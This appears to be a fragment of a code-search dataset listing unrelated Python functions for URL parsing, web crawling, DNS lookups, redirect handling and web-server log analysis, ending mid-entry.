cuisine_recipes = get_content_from_url(first_page_link)\n if not cuisine_recipes:\n print \"no content for:\", first_page_link\n return None\n soup_cuisine = BeautifulSoup(cuisine_recipes)\n # select characters from phrase and convert it into integer\n return int(soup_cuisine.find(\"span\", {\"class\": \"last\"}).a[\"href\"].split('=')[1])","def parse_links(self, response):\n urls = LinkExtractor(canonicalize=True, allow_domains=self.domain)\\\n .extract_links(response)\n\n for link in urls:\n # If link was already extracted on another page, don't save it\n if link.url in self.unique_links:\n continue\n if 'watch?v' in link.url:\n self.links_out_file.write('%s\\n' % link.url)\n self.unique_links[link.url] = 1","def subdomain_dict(json_path=DEFAULT_JSON_PATH, domain=DEFAULT_DOMAIN_URL) -> dict:\n subdomain_pages = {}\n with open(json_path, 'r') as f:\n for line in json_lines.reader(f):\n json_dict = line\n for url in json_dict.keys():\n dom = url.split(\"/\")[2]\n if domain in dom:\n subdom = dom.split(\".\")[0]\n if dom in subdomain_pages.keys():\n subdomain_pages[dom] += 1\n else:\n subdomain_pages[dom] = 1\n print(sum(subdomain_pages.values()))\n return subdomain_pages","def get_reference_citycounts_path() -> str:\n Config.__get()\n assert Config.__config is not None\n relpath = Config.__config.get(\"wsgi\", \"reference_citycounts\").strip()\n return get_abspath(relpath)","def same_website(url_rec, u_rec):\n if isinstance(url_rec, string_types):\n url_rec = urlparse(url_rec)\n if isinstance(u_rec, string_types):\n u_rec = urlparse(u_rec)\n return (url_rec.netloc == u_rec.netloc)\n # todo: collect more of sample cases.\n # disabled below check while working on ratholeradio, since links\n # could go to the parent and that is ok. Figure out when it was\n # desired not to go to the parent -- we might need explicit option\n # and u_rec.path.startswith(url_rec.path)):","def get_total_link_num(th_object, start, end, filename, path):\n ln = th_object.get_link_nums(start, end, filename)\n prev = \"\"\n with open(path, 'w') as f:\n f.write(\"Time,No_Link\\n\")\n for k, v in ln.items():\n tmp = str(k.time()).split('.')[0]\n if prev != tmp:\n f.write(tmp + \",\" + str(v) + \"\\n\")\n prev = tmp","def __cross_wiki_counts(self):\n\n print(\"Updating counts by merging with CrossWiki\")\n\n cnt = 0\n crosswiki_path = os.path.join(\n self.base_url, \"generic/p_e_m_data/crosswikis_p_e_m.txt\"\n )\n\n with open(crosswiki_path, \"r\", encoding=\"utf-8\") as f:\n for line in f:\n parts = line.split(\"\\t\")\n mention = unquote(parts[0])\n\n if (\"Wikipedia\" not in mention) and (\"wikipedia\" not in mention):\n if mention not in self.wiki_freq:\n self.wiki_freq[mention] = {}\n\n num_ents = len(parts)\n for i in range(2, num_ents):\n ent_str = parts[i].split(\",\")\n ent_wiki_id = int(ent_str[0])\n freq_ent = int(ent_str[1])\n\n if (\n ent_wiki_id\n not in self.wikipedia.wiki_id_name_map[\"ent_id_to_name\"]\n ):\n ent_name_re = self.wikipedia.wiki_redirect_id(ent_wiki_id)\n if (\n ent_name_re\n in self.wikipedia.wiki_id_name_map[\"ent_name_to_id\"]\n ):\n ent_wiki_id = self.wikipedia.wiki_id_name_map[\n \"ent_name_to_id\"\n ][ent_name_re]\n\n cnt += 1\n if (\n ent_wiki_id\n in self.wikipedia.wiki_id_name_map[\"ent_id_to_name\"]\n ):\n if mention not in self.mention_freq:\n self.mention_freq[mention] = 0\n self.mention_freq[mention] += freq_ent\n\n ent_name = self.wikipedia.wiki_id_name_map[\n \"ent_id_to_name\"\n ][ent_wiki_id].replace(\" \", \"_\")\n if ent_name not in self.wiki_freq[mention]:\n self.wiki_freq[mention][ent_name] = 0\n self.wiki_freq[mention][ent_name] += freq_ent","def extract_id(url):\n trail_id = url.replace('https://www.trailforks.com/trails/','').replace('/','')\n return trail_id","def enumerate_profiles(inhandle, page):\n html = inhandle.read()\n soup = BeautifulSoup(html, 'html.parser')\n \n urls = [ node.find('a')['href'] for node in soup.findAll('h1', {'class':'entry-title'})]\n return urls","def CountAt(url):\r\n return url.count('@')","def check_uri_redirects(df, column, replace=True, custom_name_postfix=None, redirection_property=\"http://dbpedia.org/ontology/wikiPageRedirects\", endpoint=DBpedia, regex_filter=\"dbpedia\", bundled_mode=True, uri_data_model=False, progress=True, caching=True):\n\n if custom_name_postfix == \"\":\n\n raise ValueError(\"'custom_name_postfix' can't be an empty string. If you don't want to use a custom_name_postfix, please set the attribute to None\")\n\n df = df.copy()\n\n if bundled_mode and not uri_data_model:\n\n values = \" ( <\"+df[column].str.cat(sep=\"> ) ( <\")+\"> ) \"\n\n query = \"SELECT DISTINCT ?value ?redirect WHERE {VALUES (?value) {\" +values+\"} ?value <\"+redirection_property+\"> ?redirect . }\"\n\n result_df = endpoint_wrapper(query, endpoint, caching=caching).drop_duplicates().reset_index(drop=True)\n\n else: \n \n result_df = pd.DataFrame()\n \n if uri_data_model:\n \n query = \"SELECT DISTINCT ?value ?redirect WHERE {VALUES (?value) {(<**URI**>)} ?value <\"+redirection_property+\"> ?redirect . }\"\n\n result_df = uri_querier(df, column, query, regex_filter=regex_filter, progress=progress, caching=caching)\n \n else:\n\n for uri in df[column].iteritems():\n\n if pd.notna(uri[1]):\n\n query = \"SELECT DISTINCT ?value ?redirect WHERE {?value <\"+redirection_property+\"> ?redirect . FILTER (?value = <\"+uri[1]+\">) }\"\n\n result = endpoint_wrapper(query, endpoint, caching=caching)\n\n result_df = result_df.append(result)\n\n else:\n pass\n\n result_df = result_df.rename({\"callret-0\": \"value\"}, axis=\"columns\").drop_duplicates().reset_index(drop=True)\n\n if result_df.empty:\n\n return df\n\n else:\n\n if custom_name_postfix == None:\n\n new_attribute_name = column+\"_redirect\"\n\n else:\n\n new_attribute_name = column+custom_name_postfix\n\n result_df = pd.merge(df, result_df, how=\"left\", left_on=column, right_on=\"value\").drop(\"value\",axis=1).rename(columns={\"redirect\":new_attribute_name})\n\n if replace:\n\n result_df.loc[(pd.isnull(result_df[new_attribute_name])), new_attribute_name] = result_df[column]\n result_df.drop(column, axis=1, inplace=True)\n result_df.rename(columns={new_attribute_name: column}, inplace=True)\n\n return result_df","def countdots(url): \r\n return url.count('.')","def process_cookies(self, webhost_map):\n\n new_domains = set()\n for cookie in self.found_cookies:\n # if cookie is for a different domain, save that info and continue\n if cookie[\"domain\"] != self.domain:\n new_domains.add(cookie[\"domain\"])\n continue\n\n path = cookie[\"path\"] if cookie[\"path\"] else \"/\"\n # find corresponding webhost_map entry by common path and\n # save it as \"page_node\"\n page_node = None\n for _, pages_node in webhost_map.items():\n for map_path, page_node_tmp in pages_node.items():\n if map_path == path:\n page_node = page_node_tmp\n break\n if page_node is not None:\n break\n\n # store the info of the current cookie in the given web host map\n if page_node is not None:\n if \"cookies\" in page_node:\n if cookie[\"name\"] not in page_node[\"cookies\"]:\n page_node[\"cookies\"].append(cookie[\"name\"])\n else:\n page_node[\"cookies\"] = [cookie[\"name\"]]\n else:\n # assume 200 status code for new path discovered through cookies\n if \"200\" not in webhost_map:\n webhost_map[\"200\"] = {}\n webhost_map[\"200\"][path] = {\"cookies\": [cookie[\"name\"]]}\n\n return new_domains","def record_user_click(index,keyword,url):\n for entry in index:\n if entry[0] == keyword:\n for link in entry[1]:\n if link[0] == url:\n link[1] += 1\n return","def num_links(self, column='posts_separated', new_col_name='num_of_links'):\n self.df[new_col_name] = [sum([url.count('http') for url in x]) for x in self.df[column]]","def get_response_and_content(_url):\n debug(\"START {}\".format(_url))\n urls_set = build_end_url_list(_url)\n deja_vu = []\n response = None\n content = None\n safety = 10 # some urls have infinite loop redirs, where urls are generated and put in a meta-equip tag.\n while (len(urls_set) > 0):\n debug(str(urls_set))\n # Get next url, and add it deja_vu list so we don't add it again\n url_iter = urls_set.pop(0)\n deja_vu.insert(0, url_iter)\n\n # Get response and content\n response, content = get_raw_response_content(url_iter)\n if response == None: continue\n\n # Check if it has redirects, and not in deja_vu, push it and take next one.\n debug(\"content_length: {}\".format(str(len(content))))\n redir_url = contains_redirect(content, _url)\n if safety < 0:\n debug(\"loop safety triggered, too many redirects\")\n break\n if redir_url:\n safety -= 1\n debug(\"redir_url: {}\".format(redir_url))\n if redir_url not in deja_vu: urls_set.insert(0, redir_url)\n continue\n\n # If we get here we have no redirects, so if have a response, let's exit!\n if response != None:\n break\n # clear response for clean start on next loop, or to signal failure if this was the last one\n response = None\n\n # If we got no response at all, leave it be so next function can handle, otherwise check if we want to save content\n if response:\n debug(\"EXIT: code: {} url: {} content_length: {}\".format(response.status_code, response.url, str(len(content))))\n save_content_to_file(content, _url)\n else:\n debug(\"EXIT: no response object\")\n return response, content","def last_url(self):\r\n return '{0}page{1}/'.format(self.get_short_url(), self.page_count)","def dnslookup(url) -> 'text': \n try:\n hn = socket.gethostbyaddr(url)[0] \n except socket.error as msg: \n hn = 'nohost'\n return hn","def audit_website(filename):\n unexpected_websites = []\n with open(filename, 'r') as file:\n for _, elem in ET.iterparse(file, events=(\"start\",)):\n if elem.tag == \"node\" or elem.tag == \"way\":\n for tag in elem.iter(\"tag\"):\n if tag.attrib['k'] == \"website\":\n website = tag.attrib['v']\n if not url_is_good(website):\n unexpected_websites.append(website)\n return unexpected_websites","def process_trace(self, trace):\n # type: (List[Span]) -> Optional[List[Span]]\n for span in trace:\n if span.parent_id is None and span.get_tag(http.URL) is not None:\n url = span.get_tag(http.URL)\n for regexp in self._regexps:\n if regexp.match(url):\n return None\n return trace","def get_links(self, data):\n\n count = 0\n for link in data.xpath(\"//*[@href]\"):\n cleaned = re.sub(\"\\?.*\", \"\", link.attrib[\"href\"])\n cleaned = urljoin(self.base_url, cleaned)\n if re.match(self.link_prefix, cleaned, flags = re.I) and \\\n cleaned not in self.link_queue + self.links:\n self.link_queue.append(cleaned)\n self.logger.debug(\"Adding link %s\" % cleaned)\n count += 1\n return count","def recording_count(self, obj):\n\n count = obj.recordings__count\n url = reverse('admin:music_publisher_recording_changelist')\n url += '?work__id__exact={}'.format(obj.id)\n return mark_safe('<a href=\"{}\">{}</a>'.format(url, count))","def lookup(redirects, request):\n\n # Compute and cache `request.path` once, rather than recomputing for each\n # redirect rule that the path is matched against.\n path = request.path\n\n for redirect in redirects:\n if redirect.prefix and path.startswith(redirect.src):\n suffix = path.replace(redirect.src, \"\", 1)\n return _dst_root(request, redirect) + suffix\n if not redirect.prefix and path == redirect.src:\n return _dst_root(request, redirect)\n return None","def processUrl(self, original_url):\n red = self.dbConnect()\n original_url=str(original_url)\n print(\"ORIGINAL URL: \" + original_url)\n # check set to see if it is an existing url\n if red.sismember('URL_SET', original_url):\n print(\"Same URL mapping already exists, let's find that...\")\n # return the existing url\n for key in red.scan_iter():\n if key.decode('utf-8') not in ['URL_SET', 'counter_value']:\n print(\"Checking Key: \" + str(key))\n curr_val = red.get(key).decode('UTF-8')\n print(\"Checking Value: \" + str(curr_val))\n if curr_val == original_url:\n print(\"Found Mapping: \" + str(key) + \" => \" + str(curr_val) )\n return key.decode('UTF-8'), red.ttl(key)\n print(\"No Mapping found, something is wrong...\")\n print(\"Possibly a manual deletion\")\n print(\"Adding the URL mapping again...\")\n # if not found or if it is a new url - do the following\n # add to cache, update counter\n print(\"Adding the new URL to redis cache...\")\n counter_seq = self.getAndUpdateCounter()\n encoded_url = self.encodeUrl(counter_seq)\n print(\"ENCODED URL: \" + str(encoded_url))\n print(\"NEW COUNTER VALUE: \" + str(counter_seq))\n red.set(encoded_url, original_url)\n \n # adding an expiry\n expiry_time = timedelta(days=days_to_live)\n print(\"Setting an expiry of \" + str(expiry_time.days) + \" days for the URL.\")\n red.expire(encoded_url, expiry_time)\n # add this to a global set for quick lookup\n red.sadd('URL_SET', original_url)\n return encoded_url, red.ttl(encoded_url)","def _get_urls_drs(file_type, id, reference_name = None, start = None, end = None):\n\n file_exists = file_exists_drs(id)\n if file_exists:\n file_format = \"VCF\" \n urls = _create_slices(CHUNK_SIZE, id, reference_name, start, end)\n response = {\n 'htsget': {\n 'format': file_format,\n 'urls': urls \n }\n }\n return {\"response\": response, \"http_status_code\": 200}\n else:\n err = f\"No {file_type} found for id: {id}\" \n return {\"response\": err, \"http_status_code\": 404}","def ReporterReference(pidofreporter):\n try:\n pid_list = []\n Mcafee_Reporter_pid = getpid(pidofreporter)\n print \"Now\",Mcafee_Reporter_pid\n listofpid = list(Mcafee_Reporter_pid)\n pid_list.append(listofpid[1])\n split_pids_by_space = [words for segments in pid_list for words in segments.split()]\n print \"split_pids_by_space\", split_pids_by_space\n reporter_current_pid = int(''.join(map(str,split_pids_by_space[1])))\n print \"reporter_current_pid\", reporter_current_pid\n Mcafee_Reporter_Reference = getAppRefByPidofapp(reporter_current_pid)\n #print \"Mcafee_Reporter_Reference\", Mcafee_Reporter_Reference\n except Exception as er:\n return False\n print \"Not able to get Reporter details\"\n print Mcafee_Reporter_Reference\n return Mcafee_Reporter_Reference","def get_pid_from_url(url):\n return re.findall(r'store.lining.com/shop/goods-(\\w+).html\\w*', url)[0]","def get_domain(self, response):\n parts = urllib.parse.urlparse(response.url)\n domain = parts.netloc\n return domain","def countSubDomain(subdomain):\r\n if not subdomain:\r\n return 0\r\n else:\r\n return len(subdomain.split('.'))","def checkSite(url, strings, output):\n\n domain = getDomainName(url)\n otherLinks = list()\n txt = \"\\n=================================\\n\"\n txt += \"Domain: \" + domain + \"\\n\"\n txt += \"=================================\\n\"\n linksViewed = set()\n dStrings = dict()\n imgs = set([])\n links = set([url])\n forbidden = [\".ogg\", \".tex\", \".pdf\", \".mp3\", \"mp4\", \".ods\", \".xls\", \".xlsx\",\\\n \".doc\", \".docx\", \".zip\", \".tar\", \".gz\", \".ggb\", \".cls\", \".sty\", \".avi\", \".flv\"\\\n \".mkv\", \".srt\"]\n #While we have not check all URL\n while links - linksViewed != set([]):\n #Check all links (not already viewed) for this page\n for link in links - linksViewed:\n #If the domains are the same, the extension is not forbidden\n if getDomainName(link) == domain and getExtension(link) not in forbidden:\n print \"Checking on \" + link + \"...\\n\"\n dStringst, linkst, imgst = checkPage(link, strings)\n txt += link + \":\\n\"\n for key, value in dStringst.items():\n txt += \"\\t\" + key + \" -> \" + str(value) + \"\\n\"\n txt += \"\\n\"\n #Clear list of forbidden extentions\n tmp = list()\n for l in linkst:\n if getDomainName(l) == domain and getExtension(l) not in forbidden:\n tmp.append(l)\n #If the extension is allowed but the link is on an other domain\n elif getDomainName(l) != domain and getExtension(l) not in forbidden:\n otherLinks.append(l)\n linkst = set(tmp)\n links = links | linkst\n imgs = imgs | imgst\n #Update link count\n for key, value in dStringst.items():\n dStrings[key] = dStrings[key] + value if key in dStrings.keys() else 0\n\n linksViewed = linksViewed | set([link])\n\n links = set(links)\n imgs = set(imgs)\n\n #Export/print after each website, in order to do not lost all if user\n #stops the program with Ctrl+C\n if len(output) > 0:\n export(output, txt)\n else:\n print txt\n return txt, set(otherLinks), linksViewed","def test_nslookup_resolution(self):\n assert _get_ns_records_domains_for_domain(\"google.com\")","def prepare_wdt(result_file, clf_file):\n url2label, site2label = _read_clf_file(clf_file)\n urls = _read_result_file(result_file) # urls ordered by timestamp\n relev_pages, relev_sites = _count_relev(url2label, site2label, urls)\n return relev_pages, relev_sites","def city_county_postcode_mapper(url):\n print(\"\\n*******************--- Starting Web Scrapper for County Data of England ---*******************\")\n print(\"\\n\")\n\n # County_data --> index,county,towns_link,country,no_of_towns\n county_data, town_links = generalized_table_scrapper(url+\"/towns-in-uk/\",2,5)\n\n if os.path.exists(\"County_Files\"+os.path.sep) == False:\n os.makedirs(\"County_Files\"+os.path.sep)\n\n for link in range(len(town_links)):\n\n my_file = Path(\"County_Files\"+os.path.sep+county_data[link][1]+\".csv\")\n\n if my_file.is_file():\n continue\n\n else:\n with open(\"County_Files\"+os.path.sep+county_data[link][1]+\".csv\",\"w+\") as wp:\n writer = csv.writer(wp)\n new_url = url + town_links[link]\n towns_in_county, postcode_links = generalized_table_scrapper(new_url,1,3)\n check = 0\n for town in range(len(postcode_links)):\n postal_code = \"\"\n if(len(postcode_links[town])>1):\n postal_code = get_postal_code(url+postcode_links[town])\n row =[towns_in_county[town][1],postal_code]\n if len(county_data[link])>=5:\n row.append(county_data[link][1])\n row.append(county_data[link][3])\n writer.writerow(row)\n check+=1\n print(\"\\nFinished Writing --> \" + \"County_Files\"+os.path.sep+county_data[link][1]+\".csv\")\n print(\"Writtern --> \" + str(check) + \" rows\")\n wp.close()\n\n print(\"\\n*******************--- Finished Scrapping County Data ---*******************\")","def test_parsing_webserver_logs(file, host_ip):\n\n ip_regexp = r\"\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\" # regexp for searching ip in logfile\n client_error_regexp = r'\" 4\\d{2} ' # 4xx number\n server_error_regexp = r'\" 5\\d{2} ' # 5xx number\n request_time_regexp = r'] \\d+ \"' # any number between ] and \" (configured apache's /D (request time by\n # microseconds logging parameter to be between these symbols)\n timestamp_regexp = r'\\d{2}/\\D+/\\d{4}:\\d{2}:\\d{2}:\\d{2}'\n\n values = {}\n top_count = \"10\"\n\n def file_last_timestamp(file):\n with open(file) as f:\n last_line = list(f)[-1]\n print(last_line)\n timestamp = re.search(timestamp_regexp, last_line)\n if timestamp:\n return str(timestamp[0]).replace('/', '.').replace(':', '.')\n else:\n return path.basename(file)\n\n\n def copy_unique_elements(list_of_all):\n \"\"\"\n Copies unique elements from list to unique_list\n :param list_of_all:\n :return:\n \"\"\"\n unique_list = []\n for i in list_of_all:\n if i not in unique_list:\n unique_list.append(i)\n if len(unique_list) == int(top_count):\n break\n return unique_list\n\n def findall_unique_exps(regexp, data):\n \"\"\"\n Returns list of unique expressions in data (may be limited by length\n if copy_unique_elements function's used)\n :param regexp:\n :param data:\n :return:\n \"\"\"\n list_of_all = re.findall(regexp, data)\n count = Counter(list_of_all)\n sorted_list = sorted(list_of_all, key=lambda x: (count[x], x), reverse=True)\n return copy_unique_elements(sorted_list)\n\n def findall_unique_exps_lines(regexp, logfile):\n \"\"\"\n Returns a list of lines with unique expressions in logfile (may be limited by length\n if copy_unique_elements function's used)\n :param regexp:\n :param logfile:\n :return:\n \"\"\"\n list_of_all = []\n with open(logfile) as logfile:\n for line in logfile:\n exp = re.compile(regexp)\n if exp.search(line):\n list_of_all.append(line)\n return copy_unique_elements(list_of_all)\n\n def requests_count(regexp, data):\n \"\"\"\n Returns requests count containing expression like 'GET' or 'POST'\n :param regexp:\n :param data:\n :return:\n \"\"\"\n requests_list = re.findall(regexp, data)\n return int(list(Counter(requests_list).values())[0])\n\n def requests_exec_time_list(regexp, data, logfile):\n \"\"\"\n Returns lines with longest requests (number of lines is set in top_count variable)\n :param regexp:\n :param data:\n :param logfile:\n :return:\n \"\"\"\n # find every request time and add to collection\n request_time_list = re.findall(regexp, data)\n request_time_count = Counter(request_time_list)\n sorted_request_time_list = sorted(request_time_list, key=lambda x: (request_time_count[x], x), reverse=True)\n # convert strings in requests time integer values\n for index, item in enumerate(sorted_request_time_list):\n sorted_request_time_list[index] = int(''.join(c for c in item if c.isdigit()))\n # collect top <top_count> longest requests\n top_request_time_list = []\n for i in range(int(top_count)):\n max_request = max(sorted_request_time_list)\n top_request_time_list.append(max_request)\n sorted_request_time_list.remove(max_request)\n # search top <top_count> longest requests in a file and collect lines with them to a list\n top_request_lines = []\n with open(logfile) as f:\n for line in f:\n for i in top_request_time_list:\n if str(i) in line:\n top_request_lines.append(line)\n return top_request_lines\n\n def parse(log):\n\n timestamp = file_last_timestamp(log)\n json_file_name = 'log_parse_{}.json'.format(timestamp)\n open(json_file_name, 'w').close() # clears json-file for every test run\n\n print('\\n{}'.format(log)) # to see what log was parsed\n\n unique_client_error_lines_list = findall_unique_exps_lines(client_error_regexp, log)\n unique_server_error_lines_list = findall_unique_exps_lines(server_error_regexp, log)\n\n with open(log) as f:\n data = f.read()\n\n unique_ips_list = findall_unique_exps(ip_regexp, data)\n\n get_count = requests_count('GET', data)\n post_count = requests_count('POST', data)\n\n total_requests_count = get_count + post_count\n\n top_request_lines = requests_exec_time_list(request_time_regexp, data, log)\n\n with open(json_file_name, 'a') as json_file:\n values[\"{}\".format(log)] = {'TOP {} IPs'.format(top_count): unique_ips_list,\n 'Total requests count': total_requests_count,\n 'GET requests count': get_count,\n 'POST requests count': post_count,\n 'TOP {} client errors'.format(top_count): unique_client_error_lines_list,\n 'TOP {} server errors'.format(top_count): unique_server_error_lines_list,\n 'TOP {} longest requests'.format(top_count): top_request_lines}\n json.dump(values, json_file)\n\n if isinstance(file, list):\n for i in file:\n try:\n parse(i)\n except UnicodeDecodeError:\n print(\"File wasn't parsed (check format) ({})\".format(file))\n pass\n else:\n try:\n parse(file)\n except UnicodeDecodeError:\n print(\"File wasn't parsed (check format) ({})\".format(file))","def legacy_pagecounts(project, start, end,\n access_site='all-sites', granularity='daily'):\n project_arg = 'all-projects'\n if project != 'all-projects':\n project_arg = '{}.org'.format(project)\n args = PC_ARGS.format(project=project_arg,\n start=start,\n end=end,\n access_site=access_site,\n granularity=granularity)\n return __api__(PC_ENDPOINT, args)","def host_urls(host, limit):\n # Create the required data dictionary for Host/Report\n api_data = {\n 'host': host,\n 'page': 1,\n 'rpp': limit\n }\n response = http_request(endpoint=HOST_REPORT_API, data=api_data)\n\n if response.get('errorNo') != 0:\n return_error('API Returned, {}:{}'.format(response.get('errorNo'), response.get('errorMsg')))\n\n return response","def recursive_dns_lookup(target_name, qtype, root_servers_list):\n\n # Base case\n if not root_servers_list:\n return None\n\n # Create dns query based on the target_name (website)\n # and qtype (queue type: CNAME, A, AAAA, or MX)\n dns_query = dns.message.make_query(target_name, qtype)\n\n for server in root_servers_list:\n # Doing a try catch to check if the dns server times out,\n # if it does then we continue and try another server\n try:\n query_response = dns.query.udp(dns_query, server, 3)\n except dns.exception.Timeout:\n continue\n # If there's an answer in the response\n if query_response.answer:\n # Search through the response.answer for possible answers\n for response_answers in query_response.answer:\n #print(\"response_answers: \", response_answers)\n for response_answer in response_answers:\n #print(\"Response_answer\", response_answer)\n target_name = str(response_answer)[:-1] # Removes the period at the end\n #print(\"Target_name\", target_name)\n # If we don't get the reponse we're after then\n # continue searching through the root_servers\n if response_answer.rdtype != qtype:\n if response_answer.rdtype == 5:\n return recursive_dns_lookup(target_name, qtype, ROOT_SERVERS)\n else:\n # Return the answer we wanted\n return query_response\n else: # If there isn't an answer in the response then we check additional\n\n # If we do have something in additional then get the stuff inside\n if query_response.additional:\n ip_addresses = []\n for response_additional in query_response.additional:\n #print(\"response_additional: \", response_additional)\n # Convert to string then send to function for parsing the address out\n response_additional_str = str(response_additional)\n\n #print(\"function get_address resp:\", resp)\n resp_elements = response_additional_str.split()\n #print(\"function get_address resp_elements:\", resp_elements)\n ip_address = []\n for resp_element in resp_elements:\n #print(\"function get_address resp_element:\", resp_element)\n if resp_element != 'A':\n continue\n else:\n #print(\"function get_address resp_element = A:\", resp_element)\n #print(\"function get_address address:\", resp_elements[-1])\n ip_address.append(resp_elements[-1])\n ip_addresses += ip_address\n\n return recursive_dns_lookup(target_name, qtype, ip_addresses)","def _check_complete(self, crawl_id):\n site = self.site_list[crawl_id][0]\n base = '%s::%s' % (site, crawl_id)\n site_count = self.engine_redis.get(base + \"::count\")\n return site_count","def return_count(self, number, request, environ, start_response,\n response_headers):\n response_type = self.content_negotiation(\n request, environ, self.DereferenceTypes)\n if response_type is None:\n return self.odata_error(\n request, environ, start_response, \"Not Acceptable\",\n '$count requires plain text or octet-stream formats', 406)\n data = str(number).encode('utf-8')\n response_headers.append((\"Content-Type\", str(response_type)))\n response_headers.append((\"Content-Length\", str(len(data))))\n start_response(\"%i %s\" % (200, \"Success\"), response_headers)\n return [data]","def get_accession_number(url):\n return url.split(\"/\")[-1]","def trio_hits(l_contig, mid_contig_end, blast_hits, olap_dict, cont_dict):\n mid_contig = mid_contig_end.split(\"prime_\")[1]\n length_mid = len(cont_dict[mid_contig].seq) \n right_links = []\n right_links = list(olap_dict[mid_contig_end].keys())\n \n #If contigs are chromosomal, ensure they are adjacent\n if chr_links:\n if l_contig in chr_links: \n new_right_links= []\n for r_l in right_links:\n if r_l not in chr_links or r_l in chr_links[l_contig]:\n new_right_links.append(r_l)\n right_links = new_right_links \n \n if len(right_links) == 1:\n outcome = right_links[0]\n elif len(right_links) == 0:\n outcome = \"link_listempty\"\n else:\n left_matches = []\n for hit in blast_hits:\n if (hit[0] == l_contig) and (int(hit[11]) >= l_min_score):\n left_matches.append(hit)\n link_count = {}\n for link in right_links:\n \n right_matches = []\n\n for hit in blast_hits:\n if (hit[0] == link) and (int(hit[11]) >= r_min_score): \n right_matches.append(hit)\n \n for lhit in left_matches:\n for rhit in right_matches:\n if lhit[1] == rhit[1]:\n lh_start = int(lhit[8])\n lh_end = int(lhit[9])\n rh_start = int(rhit[8])\n rh_end = int(rhit[9])\n if abs(lh_start - rh_start) < length_mid + 100:\n if (lh_end - lh_start)/(rh_end - rh_start) < 0:\n if abs(lh_end - rh_end) > abs(lh_start - rh_start):\n link_score = int(lhit[11]) * int(rhit[11])\n if not link in link_count: \n link_count[link] = link_score\n elif link_score > link_count[link]:\n link_count[link] = link_score\n \n number_of_matches = len(link_count)\n if number_of_matches == 1:\n outcome = list(link_count.keys())[0]\n if number_of_matches == 0:\n outcome = \"link_unmatched\"\n if number_of_matches > 1:\n outcome = max(link_count, key = link_count.get)\n\n return outcome","def get_on_progress_domains(cursor):\r\n try:\r\n cursor.execute(\"select url from on_progress_domains where is_scrapped = 0\")\r\n return cursor.fetchall()\r\n except:\r\n raise RuntimeError(\"An Exception happened with the Database, make sure you are connected\")","def main(url, ip):\n\n doc = {'url' : url}\n #get the whois and domain info\n print('[*] Getting whois')\n doc = get_whois(doc)\n\n #only continue checking stuff if we can actually resolve the address\n if doc['ip'] != '':\n #get ssl information if available\n print('[*] Get certificate information')\n doc = get_certinfo(doc)\n #browse to the site and get metrics\n print('[*] Interrogating homepage')\n doc = interrogate_homepage(doc)\n\n #now it is time to parse the ids logs\n doc = get_ids_logs(doc)\n\n #strip out ip if we don't have one\n if doc['ip'] == '':\n doc.pop('ip')\n \n\n try:\n print('[*] Adding information to elastiseach as %s:9200' % ip)\n es = Elasticsearch([ip])\n res = es.index(index='flurb', doc_type='site', body=doc)\n #if res == 'OK then return some sort of success response\n\n #there is no explicit close so we are going to delete\n #our es object to trigger the socket cleanup\n del(es)\n\n except:\n print('[*] Failed to add document to elasticsearch at %s' % ip)\n del(es)\n return doc\n\n return doc"],"string":"[\n \"def count_domains(urls, screen_name, domains):\\n\\n def add_domain_to_dict(domains, domain_string):\\n \\\"\\\"\\\" helper function\\\"\\\"\\\"\\n domain = urlparse(unquote(domain_string)).netloc.replace('www.', '')\\n domain = domain.split(':')[0]\\n try:\\n new_domain = get_domain(domain)\\n except ValueError:\\n with open('erroneous_domains.txt', 'a') as f:\\n f.write(domain)\\n return domains\\n\\n if not domains.get(new_domain):\\n domains[new_domain] = {}\\n domains[new_domain].get(screen_name, {})\\n domains[new_domain][screen_name] = domains[new_domain].get(screen_name, 0) + 1\\n\\n for u in urls:\\n long_url = 'http://api.longurl.org/v2/expand'\\n params = {'url': u, 'format': 'json'}\\n\\n r = do_a_request(long_url, params)\\n if r is None:\\n continue\\n \\n json = simplejson.loads(r.text)\\n r.close()\\n if json.has_key('long-url'):\\n domain = get_domain(urlparse(u).netloc.replace('www.', ''))\\n if json['long-url'] and domain not in json['long-url']:\\n add_domain_to_dict(domains, json['long-url'])\\n continue\\n if json.has_key('messages') and json['messages'] and \\\\\\n json['messages'][0]['message'] == 'Input is oversize: NOT_SHORTURL.':\\n add_domain_to_dict(domains, u)\\n else:\\n request = do_a_request(u)\\n if request is None:\\n continue\\n \\n if request.status_code == 200:\\n add_domain_to_dict(domains, request.url)\\n else:\\n with open('log.txt', 'a') as f:\\n f.write(u + ',' + screen_name + '\\\\n')\\n request.close()\\n\\n return domains\",\n \"def parse_urls(record):\\n url_list = []\\n try:\\n page_url = record['WARC-Header-Metadata']['WARC-Target-URI']\\n x = urlparse.urlparse(page_url)\\n url_list += [(x.netloc, x.path)]\\n except:\\n pass\\n try: \\n links = record['Payload-Metadata']['HTTP-Response-Metadata']['HTML-Metadata']['Links']\\n for url in links:\\n x = urlparse.urlparse(url['url'])\\n url_list += [(x.netloc, x.path)]\\n except:\\n pass\\n \\n return url_list\",\n \"def get_most_surfed_page(records):\\n uris = {}\\n for r in records:\\n if r.code != 408:\\n uris[r.uri] = uris.get(r.uri, 0) + 1\\n max_req = 0\\n max_uri = None\\n for k,v in uris.items():\\n if v > max_req:\\n max_req, max_uri = v, k\\n print(max_req)\\n return max_uri\",\n \"def get_hits_by_domain():\\n \\n #PUT THIS HERE TO TRY AND RUN THE PYTHON SCRIPT AS ROOT, DIDN'T WORK\\n uid = pwd.getpwnam('root')[2]\\n os.setuid(uid)\\n\\n #DEFINE VARS\\n nlogdir = '/var/log/nginx/'\\n alogdir = '/var/log/httpd/'\\n hits_by_domain = {}\\n\\n try:\\n #GET NGINX LOGS\\n nfiles = [f for f in os.listdir(nlogdir) if re.match(r'^(?!default)(.+access.log)$', f)]\\n\\n for i, s in enumerate(nfiles):\\n nfiles[i] = os.path.join(nlogdir, s)\\n\\n #GET APACHE LOGS\\n afiles = [f for f in os.listdir(alogdir) if re.match(r'^(?!.+_)(.+\\\\.access.log)$', f)]\\n\\n for i, s in enumerate(afiles):\\n afiles[i] = os.path.join(alogdir, s)\\n\\n #COUNT NGINX HITS\\n for f in nfiles:\\n nregex = \\\"(\\\"+str(nlogdir)+\\\")(.+?)(.access.log)\\\"\\n domain = re.search(nregex, f)\\n count = 0\\n for line in open(f).xreadlines():\\n count +=1\\n hits_by_domain[domain.group(2)] = count\\n\\n #COUNT APACHE HITS\\n for f in afiles:\\n aregex = \\\"(\\\"+str(alogdir)+\\\")(.+?)(.access.log)\\\"\\n domain = re.search(aregex, f)\\n count = 0\\n for line in 